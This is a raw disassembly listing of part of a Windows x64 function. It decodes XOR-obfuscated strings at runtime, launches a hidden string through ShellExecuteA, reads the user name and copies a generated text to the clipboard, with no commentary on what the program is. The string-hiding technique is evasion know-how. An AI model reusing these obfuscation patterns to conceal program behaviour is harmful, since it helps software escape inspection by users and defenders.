movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400699e0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movss dword [rbp + 0x740], xmm10
movss dword [rbp + 0x744], xmm10
movss dword [rbp + 0x748], xmm10
mov dword [rbp + 0x74c], 0x3f666666
lea rdx, [rbp + 0x11dc0]
lea rcx, [rbp + 0x740]
call fcn.1400ae890
xor ecx, ecx
call fcn.1400836b0
test al, al
je 0x140069c97
movabs rax, 0x1f4e0a7b8e316aa0
mov qword [rbp + 0x21d0], rax
movabs rax, 0x4ab0335c527da8ee
mov qword [rbp + 0x21d8], rax
movabs rax, 0xdc7d443851aef1c
mov qword [rbp + 0x21e0], rax
movabs rax, 0x5db5dd3b8f148060
mov qword [rbp + 0x21e8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x30613008fe451ec8
mov qword [rbp + 0x2210], rax
movabs rax, 0x2fd21d292608c797
mov qword [rbp + 0x2218], rax
movabs rax, 0x4c94990eb774bd33
mov qword [rbp + 0x2220], rax
movabs rax, 0x5db5dd3bda77c32a
mov qword [rbp + 0x2228], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x2210]
pxor xmm0, xmmword [rbp + 0x21d0]
movdqa xmmword [rbp + 0xae30], xmm0
movdqa xmm1, xmmword [rbp + 0x2220]
pxor xmm1, xmmword [rbp + 0x21e0]
movdqa xmmword [rbp + 0xae40], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0xae50], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xae60], xmm3
lea rax, [rbp + 0xfa40]
lea rcx, [rbp + 0xae30]
mov edx, 3
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140069b70
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movabs rax, 0x71996a7efc96
mov qword [rbp + 0xb00], rax
movabs rax, 0x5f3dc4df31414d6
mov qword [rbp + 0xb08], rax
movabs rcx, 0x7199041b8cf9
mov qword [rbp + 0xb10], rcx
mov qword [rbp + 0xb18], rax
movdqa xmm0, xmmword [rbp + 0xb10]
pxor xmm0, xmmword [rbp + 0xb00]
movaps xmmword [rbp + 0x3f70], xmm0
movaps xmm0, xmmword [rbp + 0x4f0]
movaps xmmword [rbp + 0x3f80], xmm0
movaps xmm0, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x3f90], xmm0
movaps xmm0, xmmword [rbp + 0x510]
movaps xmmword [rbp + 0x3fa0], xmm0
movaps xmm0, xmmword [rbp + 0x520]
movaps xmmword [rbp + 0x3fb0], xmm0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0xfa40]
lea rdx, [rbp + 0x3f70]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rbp + 0x298], 0x40400000
mov dword [rbp + 0x29c], 0x42dc0000
lea rcx, [rbp + 0x298]
call fcn.14008d5f0
mov r8, qword [0x140200848]
mov rcx, r8
mov r9, qword [0x140200840]
sub rcx, r9
movabs rbx, 0x4924924924924925
mov rax, rbx
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
xorps xmm5, xmm5
je 0x140069f15
mov r10d, dword [r9 + 0x10]
mov r11d, dword [r9 + 0xc]
sub r8, r9
mov rax, rbx
imul r8
mov r8, rdx
sar r8, 4
mov rax, r8
shr rax, 0x3f
add r8, rax
movabs rax, 0x4eeb2677cc85500
mov qword [rbp + 0x32d0], rax
movabs rax, 0x49d7aba2008c96aa
mov qword [rbp + 0x32d8], rax
movabs rax, 0x16d06c6a14e83e9d
mov qword [rbp + 0x32e0], rax
movabs rax, 0x5ce247ae6a55e457
mov qword [rbp + 0x32e8], rax
movabs rax, 0x16d06f667e4b4539
mov qword [rbp + 0x32f0], rax
movabs rax, 0x2d42eabeb0001589
mov qword [rbp + 0x32f8], rax
xorps xmm6, xmm6
xorps xmm7, xmm7
movabs rax, 0x6a9bdd245ca13345
mov qword [rbp + 0x3330], rax
movabs rax, 0x69f7cf8720b6b6de
mov qword [rbp + 0x3338], rax
movabs rax, 0x33f0564a7f9b57d9
mov qword [rbp + 0x3340], rax
movabs rax, 0x359635cf3a75c433
mov qword [rbp + 0x3348], rax
movabs rax, 0x33f0554610242c4d
mov qword [rbp + 0x3350], rax
movabs rax, 0x2d42eabeb00015ed
mov qword [rbp + 0x3358], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
movdqa xmm0, xmmword [rbp + 0x3330]
pxor xmm0, xmmword [rbp + 0x32d0]
movdqa xmmword [rbp + 0x60f0], xmm0
movdqa xmm1, xmmword [rbp + 0x3340]
pxor xmm1, xmmword [rbp + 0x32e0]
movdqa xmmword [rbp + 0x6100], xmm1
movdqa xmm0, xmmword [rbp + 0x3350]
pxor xmm0, xmmword [rbp + 0x32f0]
movdqa xmmword [rbp + 0x6110], xmm0
pxor xmm2, xmm5
movdqa xmmword [rbp + 0x6120], xmm2
pxor xmm3, xmm6
movdqa xmmword [rbp + 0x6130], xmm3
pxor xmm4, xmm7
movdqa xmmword [rbp + 0x6140], xmm4
lea rax, [rbp + 0x11750]
lea rcx, [rbp + 0x60f0]
mov edx, 5
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140069e70
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movss dword [rbp + 0x750], xmm10
movss dword [rbp + 0x754], xmm10
movss dword [rbp + 0x758], xmm10
mov dword [rbp + 0x75c], 0x3f666666
mov dword [rsp + 0x20], r10d
mov r9d, r11d
lea rdx, [rbp + 0x11750]
lea rcx, [rbp + 0x750]
call fcn.1400ae890
jmp 0x14006a090
movabs rax, 0x119fdc7f41e5804e
mov qword [rbp + 0x2150], rax
movabs rax, 0x378b6350338b0f95
mov qword [rbp + 0x2158], rax
movabs rax, 0x18d588b731c3578e
mov qword [rbp + 0x2160], rax
movabs rax, 0x64cb9012581019d1
mov qword [rbp + 0x2168], rax
xorps xmm4, xmm4
movabs rcx, 0x75f1b5396191ef00
mov qword [rbp + 0x2190], rcx
movabs rcx, 0x67ab2a1676ab6bf0
mov qword [rbp + 0x2198], rcx
movabs rcx, 0x76bae1c358b725ef
mov qword [rbp + 0x21a0], rcx
mov qword [rbp + 0x21a8], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x2150]
pxor xmm0, xmmword [rbp + 0x2190]
movdqa xmmword [rbp + 0x99b0], xmm0
movdqa xmm1, xmmword [rbp + 0x21a0]
pxor xmm1, xmmword [rbp + 0x2160]
movdqa xmmword [rbp + 0x99c0], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x99d0], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x99e0], xmm3
lea rax, [rbp + 0xf8b0]
lea rcx, [rbp + 0x99b0]
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006a000
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movss dword [rbp + 0x760], xmm10
movss dword [rbp + 0x764], xmm10
movss dword [rbp + 0x768], xmm10
mov dword [rbp + 0x76c], 0x3f666666
lea rdx, [rbp + 0xf8b0]
lea rcx, [rbp + 0x760]
call fcn.1400ae890
mov dword [rbp + 0x2a0], 0x40400000
mov dword [rbp + 0x2a4], 0x43000000
lea rcx, [rbp + 0x2a0]
call fcn.14008d5f0
movaps xmm0, xmmword [0x140114cb0]
movups xmmword [rbp + 0x1400], xmm0
lea rdx, [rbp + 0x1400]
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140089bb0
mov dword [rbp + 0x2a8], 0x43560000
mov dword [rbp + 0x2ac], 0x41b00000
movabs rax, 0x1746ccb1f278d99
mov qword [rbp + 0x20d0], rax
movabs rax, 0x1437db794e1a9f9c
mov qword [rbp + 0x20d8], rax
movabs rax, 0x929047437b73fec
mov qword [rbp + 0x20e0], rax
movabs rax, 0x42b9f7137f85a66
mov qword [rbp + 0x20e8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x671a25eb6657e2da
mov qword [rbp + 0x2110], rcx
movabs rcx, 0x7d5b9859214ebff3
mov qword [rbp + 0x2118], rcx
movabs rcx, 0x929600656d85d9c
mov qword [rbp + 0x2120], rcx
mov qword [rbp + 0x2128], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x20d0]
pxor xmm0, xmmword [rbp + 0x2110]
movdqa xmmword [rbp + 0x63e0], xmm0
movdqa xmm1, xmmword [rbp + 0x2120]
pxor xmm1, xmmword [rbp + 0x20e0]
movdqa xmmword [rbp + 0x63f0], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x6400], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x6410], xmm3
lea rax, [rbp + 0xf2c0]
lea rcx, [rbp + 0x63e0]
mov edx, 2
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006a1d0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rdx, [rbp + 0x2a8]
lea rcx, [rbp + 0xf2c0]
call fcn.1400a5fd0
test al, al
je 0x14006aadf
cmp dword [0x14020078c], 0
je 0x14006a320
movabs rax, 0x725ac8748c687d
mov qword [rbp + 0xb20], rax
movabs rax, 0x18c18602a8d0a212
mov qword [rbp + 0xb28], rax
movabs rcx, 0x725aa411f80634
mov qword [rbp + 0xb30], rcx
mov qword [rbp + 0xb38], rax
movdqa xmm0, xmmword [rbp + 0xb30]
pxor xmm0, xmmword [rbp + 0xb20]
movaps xmmword [rbp + 0x900], xmm0
movaps xmm0, xmmword [rbp + 0x910]
movaps xmmword [rbp + 0x910], xmm0
movaps xmm0, xmmword [rbp + 0x920]
movaps xmmword [rbp + 0x920], xmm0
movaps xmm0, xmmword [rbp + 0x930]
movaps xmmword [rbp + 0x930], xmm0
movaps xmm0, xmmword [rbp + 0x940]
movaps xmmword [rbp + 0x940], xmm0
movaps xmm0, xmmword [rbp + 0x950]
movaps xmmword [rbp + 0x950], xmm0
lea rax, [rbp + 0x900]
jmp 0x14006a399
movabs rax, 0x69db36f218
mov qword [rbp + 0xb40], rax
movabs rax, 0x55757b3f60d
mov qword [rbp + 0xb48], rax
movabs rcx, 0x69db529f59
mov qword [rbp + 0xb50], rcx
mov qword [rbp + 0xb58], rax
movdqa xmm0, xmmword [rbp + 0xb40]
pxor xmm0, xmmword [rbp + 0xb50]
movaps xmmword [rbp + 0x3b80], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x3b90], xmm0
movaps xmm0, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x3ba0], xmm0
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x3bb0], xmm0
lea rax, [rbp + 0x3b80]
mov qword [rbp + 0x90], rax
cmp byte [0x14020079c], 0
je 0x14006a411
mov qword [rbp + 0xb60], 0x523bbc10
mov qword [rbp + 0xb68], 0xffffffffa539bf06
mov qword [rbp + 0xb70], 0x523bd25f
mov qword [rbp + 0xb78], 0xffffffffa539bf06
movdqa xmm0, xmmword [rbp + 0xb70]
pxor xmm0, xmmword [rbp + 0xb60]
movaps xmmword [rbp + 0x38a0], xmm0
movaps xmm0, xmmword [rbp + 0x540]
movaps xmmword [rbp + 0x38b0], xmm0
movaps xmm0, xmmword [rbp + 0x550]
movaps xmmword [rbp + 0x38c0], xmm0
lea rax, [rbp + 0x38a0]
jmp 0x14006a48a
movabs rax, 0x6a00015943
mov qword [rbp + 0xb80], rax
movabs rax, 0x58b1eb3d0d7
mov qword [rbp + 0xb88], rax
movabs rcx, 0x6a00673f0c
mov qword [rbp + 0xb90], rcx
mov qword [rbp + 0xb98], rax
movdqa xmm0, xmmword [rbp + 0xb80]
pxor xmm0, xmmword [rbp + 0xb90]
movaps xmmword [rbp + 0x3b40], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x3b50], xmm0
movaps xmm0, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x3b60], xmm0
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x3b70], xmm0
lea rax, [rbp + 0x3b40]
mov qword [rbp + 0x2b8], rax
cmp byte [0x14020079d], 0
je 0x14006a515
movabs rax, 0x697ac177b7
mov qword [rbp + 0xba0], rax
movabs rax, 0x58b71703c8b
mov qword [rbp + 0xba8], rax
movabs rcx, 0x697aa711f8
mov qword [rbp + 0xbb0], rcx
mov qword [rbp + 0xbb8], rax
movdqa xmm0, xmmword [rbp + 0xbb0]
pxor xmm0, xmmword [rbp + 0xba0]
movaps xmmword [rbp + 0x3b00], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x3b10], xmm0
movaps xmm0, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x3b20], xmm0
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x3b30], xmm0
lea rax, [rbp + 0x3b00]
jmp 0x14006a57b
mov qword [rbp + 0xbc0], 0x51e77ebb
mov qword [rbp + 0xbc8], 0xffffffffa4b4abe7
mov qword [rbp + 0xbd0], 0x51e710f4
mov qword [rbp + 0xbd8], 0xffffffffa4b4abe7
movdqa xmm0, xmmword [rbp + 0xbc0]
pxor xmm0, xmmword [rbp + 0xbd0]
movaps xmmword [rbp + 0x38d0], xmm0
movaps xmm0, xmmword [rbp + 0x540]
movaps xmmword [rbp + 0x38e0], xmm0
movaps xmm0, xmmword [rbp + 0x550]
movaps xmmword [rbp + 0x38f0], xmm0
lea rax, [rbp + 0x38d0]
mov qword [rbp + 0x2b0], rax
cmp byte [0x14020079e], 0
je 0x14006a624
movabs rax, 0x4c6f74f7c451
mov qword [rbp + 0xbe0], rax
movabs rax, 0x29f715cdcb03189
mov qword [rbp + 0xbe8], rax
movabs rcx, 0x4c6f3db18104
mov qword [rbp + 0xbf0], rcx
mov qword [rbp + 0xbf8], rax
movdqa xmm0, xmmword [rbp + 0xbf0]
pxor xmm0, xmmword [rbp + 0xbe0]
movaps xmmword [rbp + 0x3f20], xmm0
movaps xmm0, xmmword [rbp + 0x4f0]
movaps xmmword [rbp + 0x3f30], xmm0
movaps xmm0, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x3f40], xmm0
movaps xmm0, xmmword [rbp + 0x510]
movaps xmmword [rbp + 0x3f50], xmm0
movaps xmm0, xmmword [rbp + 0x520]
movaps xmmword [rbp + 0x3f60], xmm0
lea r15, [rbp + 0x3f20]
jmp 0x14006a6be
movabs rax, 0x1eb95a79998d22f9
mov qword [rbp + 0xc00], rax
movabs rax, 0x8cce64b5f7371a1
mov qword [rbp + 0xc08], rax
movabs rcx, 0x1eb9231af8ea47b5
mov qword [rbp + 0xc10], rcx
mov qword [rbp + 0xc18], rax
movdqa xmm0, xmmword [rbp + 0xc00]
pxor xmm0, xmmword [rbp + 0xc10]
movaps xmmword [rbp + 0x4a80], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x4a90], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4aa0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x4ab0], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4ac0], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x4ad0], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4ae0], xmm0
lea r15, [rbp + 0x4a80]
mov rax, qword [0x140200840]
mov r12d, dword [rax + 0x10]
mov r13d, dword [rax + 0xc]
mov rcx, qword [0x140200848]
sub rcx, rax
mov rax, rbx
imul rcx
mov rdi, rdx
sar rdi, 4
mov rax, rdi
shr rax, 0x3f
add rdi, rax
lea rsi, [0x1401ffaa0]
cmp qword [reloc.WS2_32.dll_getsockopt], 8
cmovae rsi, qword [0x1401ffaa0]
mov eax, dword [0x1401ffac0]
mov dword [rbp + 0xe0], eax
lea r14, [0x1401ffa60]
cmp qword [reloc.WS2_32.dll_getsockopt], 8
cmovae r14, qword [0x1401ffa60]
mov eax, dword [0x1402007ac]
mov dword [rbp + 0xe4], eax
mov eax, dword [0x1402007a8]
mov dword [rbp + 0xe8], eax
mov dword [rbp + 0x148cc], 0x100
lea rdx, [rbp + 0x148cc]
lea rcx, [rbp + 0x14cc0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor eax, eax
mov qword [rbp + 0x8e0], rax
mov qword [rbp + 0x8f0], rax
mov qword [rbp + 0x8f8], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x14cc0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14006a790
lea rdx, [rbp + 0x14cc0]
lea rcx, [rbp + 0x8e0]
call fcn.14005a030
lea rbx, [rbp + 0x8e0]
cmp qword [rbp + 0x8f8], 0x10
cmovae rbx, qword [rbp + 0x8e0]
movdqa xmm0, xmmword [0x140114780]
pxor xmm0, xmmword [0x1401148c0]
movdqa xmmword [rbp + 0xc610], xmm0
movdqa xmm1, xmmword [0x1401148d0]
pxor xmm1, xmmword [0x140114790]
movdqa xmmword [rbp + 0xc620], xmm1
movdqa xmm0, xmmword [0x1401148e0]
pxor xmm0, xmmword [str.Has]
movdqa xmmword [rbp + 0xc630], xmm0
movdqa xmm1, xmmword [0x1401148f0]
pxor xmm1, xmmword [0x1401147b0]
movdqa xmmword [rbp + 0xc640], xmm1
movdqa xmm0, xmmword [0x140114900]
pxor xmm0, xmmword [0x1401147c0]
movdqa xmmword [rbp + 0xc650], xmm0
movdqa xmm1, xmmword [0x140114910]
pxor xmm1, xmmword [0x1401147d0]
movdqa xmmword [rbp + 0xc660], xmm1
movdqa xmm0, xmmword [0x140114920]
pxor xmm0, xmmword [str._bw5m]
movdqa xmmword [rbp + 0xc670], xmm0
movdqa xmm1, xmmword [0x140114930]
pxor xmm1, xmmword [0x1401147f0]
movdqa xmmword [rbp + 0xc680], xmm1
movdqa xmm0, xmmword [0x140114940]
pxor xmm0, xmmword [0x140114800]
movdqa xmmword [rbp + 0xc690], xmm0
movdqa xmm1, xmmword [0x140114950]
pxor xmm1, xmmword [0x140114810]
movdqa xmmword [rbp + 0xc6a0], xmm1
movdqa xmm0, xmmword [0x140114960]
pxor xmm0, xmmword [0x140114820]
movdqa xmmword [rbp + 0xc6b0], xmm0
movdqa xmm1, xmmword [0x140114970]
pxor xmm1, xmmword [0x140114830]
movdqa xmmword [rbp + 0xc6c0], xmm1
movdqa xmm0, xmmword [rbp + 0x1410]
pxor xmm0, xmmword [0x140114840]
movdqa xmmword [rbp + 0xc6d0], xmm0
movdqa xmm1, xmmword [rbp + 0x1420]
pxor xmm1, xmmword [0x140114850]
movdqa xmmword [rbp + 0xc6e0], xmm1
movdqa xmm0, xmmword [rbp + 0x1430]
pxor xmm0, xmmword [0x140114860]
movdqa xmmword [rbp + 0xc6f0], xmm0
movdqa xmm1, xmmword [rbp + 0x1440]
pxor xmm1, xmmword [0x140114870]
movdqa xmmword [rbp + 0xc700], xmm1
movdqa xmm0, xmmword [rbp + 0x13c0]
pxor xmm0, xmmword [0x140114880]
movdqa xmmword [rbp + 0xc710], xmm0
movdqa xmm1, xmmword [rbp + 0x1470]
pxor xmm1, xmmword [0x140114890]
movdqa xmmword [rbp + 0xc720], xmm1
movdqa xmm0, xmmword [rbp + 0x1480]
pxor xmm0, xmmword [0x1401148a0]
movdqa xmmword [rbp + 0xc730], xmm0
movdqa xmm1, xmmword [0x1401148b0]
pxor xmm1, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0xc740], xmm1
lea rcx, [rbp + 0x13ba0]
lea rdx, [rbp + 0xc610]
mov r8d, 0x9d0
call sub.VCRUNTIME140.dll_memcpy
mov dword [rsp + 0x70], r12d
mov dword [rsp + 0x68], r13d
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x58], rsi
mov eax, dword [rbp + 0xe0]
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r15
mov eax, dword [rbp + 0xe4]
mov dword [rsp + 0x38], eax
mov eax, dword [rbp + 0xe8]
mov dword [rsp + 0x30], eax
mov rax, qword [rbp + 0x2b0]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x2b8]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x90]
mov r8, rbx
lea rdx, [rbp + 0x13ba0]
lea rcx, [rbp + 0x152d0]
call fcn.140070f60
lea rcx, [rbp + 0x8e0]
call fcn.14000b160
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14006aac1
call qword [sym.imp.USER32.dll_EmptyClipboard]
lea rax, [rbp + 0x152d0]
mov rdx, 0xffffffffffffffff
inc rdx
cmp byte [rax + rdx], 0
jne 0x14006aa57
inc rdx
mov ecx, 0x2000
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdx, rax
lea rcx, [rbp + 0x152d0]
lea rax, [rbp + 0x152d0]
sub rdx, rax
nop
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x14006aa90
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rbx
mov r13d, 1
mov ecx, r13d
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x14006aac7
mov r13d, 1
movabs rsi, 0x1fffffffe0000000
mov r14, qword [rbp + 0x2c0]
mov r12d, dword [rbp - 0x80]
xor r15d, r15d
call fcn.1400892e0
call fcn.14007f260
mov dword [rbp + 0x2c8], 0x43660000
mov dword [rbp + 0x2cc], 0x42c20000
lea rcx, [rbp + 0x2c8]
call fcn.14008d5f0
movss xmm0, dword [0x1401ffa40]
mulss xmm0, xmm11
subss xmm0, dword [0x14011409c]
movss dword [rbp + 0x2d0], xmm0
mov dword [rbp + 0x2d4], 0x431b0000
movabs rax, 0x1b847040e8055d7b
mov qword [rbp + 0x2710], rax
movabs rax, 0x65919acdf49785ed
mov qword [rbp + 0x2718], rax
xorps xmm2, xmm2
movabs rax, 0x73e71e3589497e58
mov qword [rbp + 0x2730], rax
movabs rax, 0x65e2eda290f9ecba
mov qword [rbp + 0x2738], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x2730]
pxor xmm0, xmmword [rbp + 0x2710]
movdqa xmmword [rbp + 0xa4d0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa4e0], xmm1
lea rax, [rbp + 0xd0e0]
lea rcx, [rbp + 0xa4d0]
mov edx, 2
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14006abb1
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0xd0e0]
call fcn.140076750
mov rax, qword [r14 + 0xa0]
mov rcx, qword [rax + 0x48]
mov rcx, qword [rcx + 0x10]
call fcn.140089770
movaps xmm0, xmmword [0x140114cb0]
movups xmmword [rbp + 0x1490], xmm0
lea rdx, [rbp + 0x1490]
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140089bb0
mov dword [rbp + 0x2d8], 0x40400000
mov dword [rbp + 0x2dc], 0x40400000
lea rcx, [rbp + 0x2d8]
call fcn.14008d5f0
mov dword [rbp + 0x2e0], 0x43560000
mov dword [rbp + 0x2e4], 0x41b00000
movabs rax, 0xd7dca4ea40101e7
mov qword [rbp + 0x2050], rax
movabs rax, 0x195e18a065792c7b
mov qword [rbp + 0x2058], rax
movabs rax, 0x1fffffffe077e604
mov qword [rbp + 0x2060], rax
movabs rax, 0xe00000001f81945b
mov qword [rbp + 0x2068], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x691ca522ca766ea3
mov qword [rbp + 0x2090], rcx
movabs rcx, 0x763154c508186b5b
mov qword [rbp + 0x2098], rcx
movabs rcx, 0x1fffffffe077e674
mov qword [rbp + 0x20a0], rcx
mov qword [rbp + 0x20a8], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x2050]
pxor xmm0, xmmword [rbp + 0x2090]
movdqa xmmword [rbp + 0x56b0], xmm0
movdqa xmm1, xmmword [rbp + 0x2060]
pxor xmm1, xmmword [rbp + 0x20a0]
movdqa xmmword [rbp + 0x56c0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x56d0], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x56e0], xmm3
lea rax, [rbp + 0xea90]
